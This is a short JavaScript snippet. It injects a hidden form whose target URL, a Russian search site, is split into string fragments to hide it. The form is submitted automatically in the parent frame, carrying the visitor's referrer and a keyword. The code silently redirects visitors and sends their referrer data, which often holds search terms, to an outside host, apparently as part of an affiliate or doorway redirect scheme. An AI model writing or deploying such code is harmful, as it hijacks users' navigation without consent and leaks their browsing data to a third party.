function So(sSearch) {

f = document.getElementById("go");
var peredacha = new String(document.referrer);
var re = new RegExp("&", "g");
var peredachaNew = peredacha.replace(re, "^^");
f.referrer.value = peredachaNew;
f.action += sSearch;
f.submit();

}

function RuSense (keyword) {

key = keyword.replace(/ /g,"+");

document.write('<form id=go method=post action="h' + 't' + 't' + 'p://' + 'www.r' + 'upo' + 'isk.ru/' + 'index.php?search_string=" style="display: none" target="_parent" name=go><input type=text name=referrer value="" style="display: none"><input type=hidden name=divis value=507><input type=hidden name=sub value=2886></form>');

So(key);

}